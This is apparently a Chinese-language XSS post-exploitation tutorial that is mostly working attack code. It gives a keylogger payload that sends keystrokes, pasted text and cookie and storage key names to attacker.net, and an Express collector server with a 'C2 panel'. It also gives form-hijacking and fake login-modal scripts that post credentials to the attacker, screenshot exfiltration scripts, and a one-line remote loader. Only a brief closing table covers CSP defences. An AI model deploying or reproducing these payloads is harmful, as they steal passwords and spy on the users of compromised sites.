XSS 高级应用:钓鱼页面嵌入 + 零配置键盘记录系统

一、场景:一个"完美"的 XSS 后渗透武器

我们假设你已经在目标网站注入了 XSS(不管是反射型、存储型还是 DOM 型)。现在你需要充分利用这个 XSS 能做的所有事情

  1. 📝 实时记录受害者在该站点的所有击键(键盘记录)
  2. 🎯 在页面上叠加一层不可见的钓鱼表单
  3. 📸 对受害者的屏幕做周期性截图
  4. 🕸️ 枚举受害者的浏览历史和书签
  5. 🖼️ 抓取 DOM 结构,辅助你写更有针对性的钓鱼页面
  6. 📡 所有数据实时推送到你的监听服务器

二、前端键盘记录器(极简版)

2.1 核心思路

受害者按键 → JS 监听 keypress → 缓存 → 定时 / 关键点上传到攻击者服务器

2.2 完整实现(约 150 行)

把下面的 Payload 注入到 XSS 点中:

// ============================================================
// XSS KeyLogger - 轻量级前端键盘记录器
// 使用方法:把整个代码块作为 XSS Payload 注入
// ============================================================
(function() {
    'use strict';

    // ========== 攻击者服务器地址 ==========
    var C2_BEACON = 'https://attacker.net/collect';  // 数据接收端点
    var C2_CALLBACK = 'https://attacker.net/callback';

    // ========== 运行时状态 ==========
    var state = {
        buffer: [],           // 键盘输入缓冲区
        bufferMax: 200,       // 缓冲区最大行数
        flushInterval: 3000,  // 上传间隔(毫秒)
        lastFlush: 0,
        victimInfo: {},
        startTime: Date.now()
    };

    // ========== 1. 初始化受害者信息 ==========
    function collectVictimInfo() {
        var info = {
            url:    location.href,
            ref:    document.referrer,
            ua:     navigator.userAgent,
            tz:     Intl.DateTimeFormat().resolvedOptions().timeZone,
            lang:   navigator.language,
            screen: screen.width + 'x' + screen.height,
            cookies: [],
            lsKeys: [],
            sessionId: Math.random().toString(36).slice(2, 10)
        };
        try {
            // 非 HttpOnly Cookie 才能读到
            info.cookies = document.cookie ? document.cookie.split(';').map(function(p) {
                return p.trim().split('=')[0];
            }) : [];
        } catch(e) {}
        try {
            for (var i=0; i<localStorage.length; i++) {
                info.lsKeys.push(localStorage.key(i));
            }
        } catch(e) {}
        state.victimInfo = info;
        sendData({ type: 'init', data: info });
    }

    // ========== 2. 键盘事件监听 ==========
    function startKeylogger() {
        document.addEventListener('keypress', function(e) {
            var key = normalizeKey(e);
            var entry = {
                t: Date.now(),
                k: key,
                el: e.target ? getElementSignature(e.target) : null,
                url: location.href
            };
            state.buffer.push(entry);
            maybeFlush();
        }, true);

        // 也监听 paste 和 input 事件(捕获粘贴密码的场景)
        document.addEventListener('paste', function(e) {
            var pasted = (e.clipboardData || window.clipboardData).getData('text');
            state.buffer.push({
                t: Date.now(),
                k: '[PASTE:' + pasted.length + 'chars]',
                content: pasted,
                url: location.href
            });
            maybeFlush();
        }, true);

        // 监听密码框的值变化(不管有没有按 Enter)
        document.addEventListener('input', function(e) {
            if (e.target && e.target.type === 'password') {
                state.buffer.push({
                    t: Date.now(),
                    k: '[PASSWORD_FIELD]',
                    url: location.href
                });
            }
        }, true);
    }

    // ========== 3. 按键归一化 ==========
    function normalizeKey(e) {
        if (e.key === 'Enter')  return '
';
        if (e.key === 'Tab')    return '	';
        if (e.key === 'Escape') return '[ESC]';
        if (e.key === 'Backspace') return '[BACKSPACE]';
        if (e.key === 'Control') return '';
        if (e.key === 'Shift')  return '';
        if (e.key === 'Alt')    return '';
        if (e.key === 'Meta')   return '';
        if (e.key === 'CapsLock') return '[CAPS]';
        if (e.key === 'ArrowUp')   return '[UP]';
        if (e.key === 'ArrowDown') return '[DOWN]';
        if (e.key === 'ArrowLeft') return '[LEFT]';
        if (e.key === 'ArrowRight') return '[RIGHT]';
        if (e.key.charCodeAt(0) >= 32 && e.key.charCodeAt(0) <= 126) {
            return e.key;  // 可打印 ASCII
        }
        return '[' + e.key + ']';
    }

    function getElementSignature(el) {
        if (!el || !el.tagName) return null;
        var parts = [el.tagName.toLowerCase()];
        if (el.id) parts.push('#' + el.id);
        if (el.className && typeof el.className === 'string') {
            parts.push('.' + el.className.split(' ')[0]);
        }
        return parts.join('');
    }

    // ========== 4. 缓冲区满 或 定时器到 就上传 ==========
    function maybeFlush() {
        if (state.buffer.length >= state.bufferMax ||
            Date.now() - state.lastFlush > state.flushInterval) {
            flush();
        }
    }

    function flush() {
        if (state.buffer.length === 0) return;
        var data = state.buffer.slice();
        state.buffer = [];
        state.lastFlush = Date.now();
        sendData({ type: 'keylog', data: data });
    }

    // ========== 5. 无感知数据发送 ==========
    function sendData(payload) {
        try {
            // 方式 A:Image beacon
            var img = new Image();
            img.onload = img.onerror = function(){};
            var json = JSON.stringify({
                s: state.victimInfo.sessionId,
                ts: Date.now(),
                p: payload
            });
            // 如果数据太长,用 POST via fetch
            if (json.length > 1800) {
                sendViaPost(json);
            } else {
                img.src = C2_BEACON + '?d=' + encodeURIComponent(json);
            }
        } catch(e) {}
    }

    function sendViaPost(json) {
        try {
            var xhr = new XMLHttpRequest();
            xhr.open('POST', C2_BEACON, true);
            xhr.withCredentials = false;
            xhr.setRequestHeader('Content-Type', 'application/json');
            xhr.setRequestHeader('X-Payload', '1');
            xhr.send(json);
        } catch(e) {
            // 跨域失败时回退到 fetch no-cors
            fetch(C2_BEACON, {
                method: 'POST',
                mode: 'no-cors',
                body: json
            });
        }
    }

    // ========== 6. 页面卸载前保存最后一段 ==========
    window.addEventListener('beforeunload', flush);

    // ========== 启动 ==========
    setTimeout(function() {
        collectVictimInfo();
        startKeylogger();
    }, 500);  // 延迟 500ms 等页面加载完成
})();

三、攻击者端:数据接收服务器

3.1 Node.js + Express 后端

// collector-server.js —— 攻击者服务器上运行
const express = require('express');
const fs = require('fs');
const path = require('path');
const cors = require('cors');

const app = express();
app.use(cors());
app.use(express.json({ limit: '2mb' }));

const DATA_DIR = path.join(__dirname, 'victim_data');
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR);

// ========== 数据接收端点 ==========
app.all('/collect', (req, res) => {
    let payload;
    if (req.method === 'GET') {
        const d = req.query.d;
        try { payload = JSON.parse(decodeURIComponent(d)); }
        catch(e) { return res.send('err'); }
    } else {
        payload = req.body;
    }

    const sid = payload.s || 'unknown';
    const dir = path.join(DATA_DIR, sid);
    if (!fs.existsSync(dir)) fs.mkdirSync(dir);

    const logFile = path.join(dir, 'session.log');
    const line = JSON.stringify({
        ts: new Date().toISOString(),
        remote: req.ip,
        ...payload
    }) + '
';
    fs.appendFileSync(logFile, line);

    // 实时推送到 WebSocket 面板(可选)
    wsBroadcast(line);

    // 返回 1x1 GIF,浏览器无感知
    res.header('Content-Type', 'image/gif');
    res.send(Buffer.from('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7', 'base64'));
});

// ========== 实时监控面板(简单版) ==========
app.get('/panel', (req, res) => {
    res.send(`
<!DOCTYPE html>
<html><head>
<meta charset="utf-8"><title>XSS C2 Panel</title>
<style>
body{font-family:monospace;background:#111;color:#0f0;padding:20px}
.log{border-left:3px solid #0f0;padding:10px;margin:10px 0;background:#000}
</style>
</head><body>
<h1>Victim Sessions</h1>
<div id="sessions"></div>
<script>
setInterval(function(){
  fetch('/api/sessions').then(r=>r.json()).then(d=>{
    document.getElementById('sessions').innerHTML = d.map(s=>
      '<div class="log"><b>'+s.id+'</b> ('+s.lastSeen+')<pre>'+JSON.stringify(s.info,null,2)+'</pre></div>'
    ).join('');
  });
},2000);
</script>
</body></html>`);
});

app.get('/api/sessions', (req, res) => {
    const sessions = fs.readdirSync(DATA_DIR).map(id => {
        const files = fs.readdirSync(path.join(DATA_DIR, id));
        const logPath = path.join(DATA_DIR, id, 'session.log');
        let last = 'unknown';
        if (fs.existsSync(logPath)) {
            const lines = fs.readFileSync(logPath, 'utf8').trim().split('
');
            last = lines[lines.length-1];
        }
        return { id, lastSeen: last };
    });
    res.json(sessions);
});

// ========== 简易 WebSocket 广播 ==========
const { WebSocketServer } = require('ws');
const wss = new WebSocketServer({ port: 3001 });
function wsBroadcast(line) {
    wss.clients.forEach(c => {
        if (c.readyState === 1) c.send(line);
    });
}

app.listen(8080, () => {
    console.log('[*] C2 server running');
    console.log('[*] Data dir:', DATA_DIR);
    console.log('[*] Collect endpoint: http://0.0.0.0:8080/collect');
    console.log('[*] Panel: http://0.0.0.0:8080/panel');
});

3.2 数据存储结构

victim_data/ ├── a1b2c3d4/ # 每个受害者一个子目录 │ ├── session.log # 原始日志 │ └── screenshots/ # 如果加了截图功能 │ ├── 2026-08-06T14-30-01.png │ └── 2026-08-06T14-32-15.png ├── e5f6g7h8/ │ └── session.log └── ...

3.3 日志示例

{"ts":"2026-08-06T14:30:01.123Z","s":"a1b2c3d4","ts":1754893801123,"p":{"type":"init","data":{"url":"https://victim.com/dashboard","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/125.0","lang":"zh-CN","cookies":["session"]}}}
{"ts":"2026-08-06T14:30:05.456Z","s":"a1b2c3d4","ts":1754893805456,"p":{"type":"keylog","data":[{"t":1754893805001,"k":"u","el":"input#username","url":"https://victim.com/login"},{"t":1754893805100,"k":"a","el":"input#username"},{"t":1754893805200,"k":"d"},{"t":1754893805300,"k":"m"},{"t":1754893805400,"k":"i"},{"t":1754893805500,"k":"n"},{"t":1754893805600,"k":"
"},{"t":1754893805700,"k":"[PASSWORD_FIELD]"}]}}

四、钓鱼表单注入(Overlay Phishing)

4.1 在现有页面上叠加钓鱼层

假设目标是"攻击者希望诱导用户重新输入密码":

(function() {
    'use strict';
    var PHISH_URL = 'https://attacker.net/fish-gate';

    function injectPhishingOverlay() {
        // 如果页面已经有登录表单,就原地替换 submit 行为
        var loginForms = document.querySelectorAll('form');
        loginForms.forEach(function(form) {
            form.addEventListener('submit', function(e) {
                e.preventDefault();

                // 收集所有字段
                var data = {};
                var fd = new FormData(form);
                for (var pair of fd.entries()) {
                    data[pair[0]] = pair[1];
                }
                data._fake = true;
                data._url = location.href;
                data._ts = Date.now();

                // 发送给攻击者
                fetch(PHISH_URL, {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify(data),
                    mode: 'no-cors'
                });

                // 显示一个"重新加载"的假动画,让受害者以为自己输错了密码
                var btn = form.querySelector('button[type=submit]');
                if (btn) {
                    btn.disabled = true;
                    btn.textContent = '正在验证...';
                }
                setTimeout(function() {
                    alert('密码错误或会话已过期,请重新尝试');
                    // 清除可能缓存的凭据
                    form.reset();
                    if (btn) { btn.disabled = false; btn.textContent = '登录'; }
                }, 1500);
            }, true);
        });
    }

    // 更激进:直接在页面顶层叠加一个假的登录模态框
    function createFakeModal() {
        var mask = document.createElement('div');
        mask.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:2147483646;display:flex;align-items:center;justify-content:center';
        mask.innerHTML = '<div style="background:#fff;padding:40px;border-radius:8px;width:360px;font-family:sans-serif">' +
            '<h2 style="margin:0 0 20px;color:#333">会话即将过期</h2>' +
            '<p style="color:#666;margin-bottom:20px">为了安全,请重新输入您的密码</p>' +
            '<input id="fuser" placeholder="用户名/邮箱" style="width:100%;padding:10px;margin-bottom:10px;border:1px solid #ddd;border-radius:4px">' +
            '<input id="fpass" type="password" placeholder="密码" style="width:100%;padding:10px;margin-bottom:15px;border:1px solid #ddd;border-radius:4px">' +
            '<button id="fsub" style="width:100%;padding:12px;background:#1877f2;color:#fff;border:none;border-radius:4px;font-size:15px">确认</button>' +
            '</div>';
        document.body.appendChild(mask);

        var form = {
            user: mask.querySelector('#fuser'),
            pass: mask.querySelector('#fpass'),
            btn:  mask.querySelector('#fsub')
        };
        form.user.focus();
        form.btn.addEventListener('click', function() {
            var creds = {
                user: form.user.value,
                pass: form.pass.value,
                url: location.href,
                ts: Date.now()
            };
            fetch(PHISH_URL, {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify(creds),
                mode: 'no-cors'
            }).then(function() {
                mask.remove();
            });
        });
    }

    // 策略:页面加载 3 秒后弹出假模态
    setTimeout(createFakeModal, 3000);

    // 同时替换所有现有表单的 submit 行为
    setTimeout(injectPhishingOverlay, 1000);
})();

4.2 钓鱼效果

┌─────────────────────────────────────────────┐
│  受害者打开正常的 victim.com/account 页面     │
│                       │                      │
│         3 秒后  ↓                           │
│  ┌───────────────────────────────────────┐  │
│  │  [页面变暗蒙层]                        │  │
│  │  ┌─────────────────────────────────┐  │  │
│  │  │ 会话即将过期                     │  │  │
│  │  │ 为了安全,请重新输入您的密码       │  │  │
│  │  │                                 │  │  │
│  │  │ [  用户名/邮箱  ]               │  │  │
│  │  │ [  密码          ]              │  │  │
│  │  │                                 │  │  │
│  │  │ [          确认          ]      │  │  │
│  │  └─────────────────────────────────┘  │  │
│  └───────────────────────────────────────┘  │
└─────────────────────────────────────────────┘

受害者以为是正常的安全提示 → 输入了管理员密码 → 攻击者收到完整凭据

五、进阶功能:DOM 截图

5.1 用 html2canvas 做 DOM 截图

// 如果目标站点已经加载了 html2canvas(或攻击者能动态引入)
var script = document.createElement('script');
script.src = 'https://cdn.jsdelivr.net/npm/html2canvas@1.4.1/dist/html2canvas.min.js';
script.onload = function() {
    html2canvas(document.body).then(function(canvas) {
        canvas.toBlob(function(blob) {
            var fd = new FormData();
            fd.append('img', blob, 'shot.png');
            fd.append('url', location.href);
            fetch('https://attacker.net/upload', {
                method: 'POST',
                body: fd,
                mode: 'no-cors'
            });
        });
    });
};
document.head.appendChild(script);

5.2 定期截图

// 每 30 秒截一次
setInterval(function() {
    if (typeof html2canvas === 'function') {
        html2canvas(document.body, { logging: false }).then(function(c) {
            c.toBlob(function(b) {
                var xhr = new XMLHttpRequest();
                xhr.open('POST', 'https://attacker.net/upload', true);
                var fd = new FormData();
                fd.append('img', b, 'screen.png');
                fd.append('ts', Date.now());
                xhr.send(fd);
            });
        });
    }
}, 30000);

5.3 如果没有 html2canvas:WebRTC Screen Capture

// 需要受害者授权(弹出原生权限框),但能拿到真正的屏幕画面
navigator.mediaDevices.getDisplayMedia({video: true}).then(function(stream) {
    var video = document.createElement('video');
    video.srcObject = stream;
    video.play();
    var canvas = document.createElement('canvas');
    setInterval(function() {
        canvas.width = video.videoWidth;
        canvas.height = video.videoHeight;
        canvas.getContext('2d').drawImage(video, 0, 0);
        canvas.toBlob(function(b) {
            var fd = new FormData();
            fd.append('s', b);
            fetch('https://attacker.net/upload', {method:'POST', body:fd, mode:'no-cors'});
        });
    }, 5000);
});

六、完整 Payload Bundle(一键加载)

把所有功能打包成一个"主加载器",真正在实战中只需要注入这一行:

(function(){var s=document.createElement('script');s.src='https://attacker.net/pack.js';document.head.appendChild(s)})();

攻击者的 pack.js 包含完整的键盘记录 + 钓鱼 + 截图逻辑,版本更新/增减功能都不需要再重新投送 XSS。


七、防御

威胁 防御手段
键盘记录 CSP script-src 'self' 阻止外部脚本加载 + 不允许内联脚本
钓鱼 Overlay X-Frame-Options: DENY + 响应头 CSP frame-ancestors
敏感字段 <input autocomplete="new-password"> 避免被扩展自动填充/记录
截图 禁止第三方脚本引入 html2canvas
数据上传 CSP connect-src 'self' 禁止 fetch/XHR 跨域

最有效的一条:CSP。 一条 script-src 'self' 同时废掉键盘记录、钓鱼注入、截图脚本三大武器。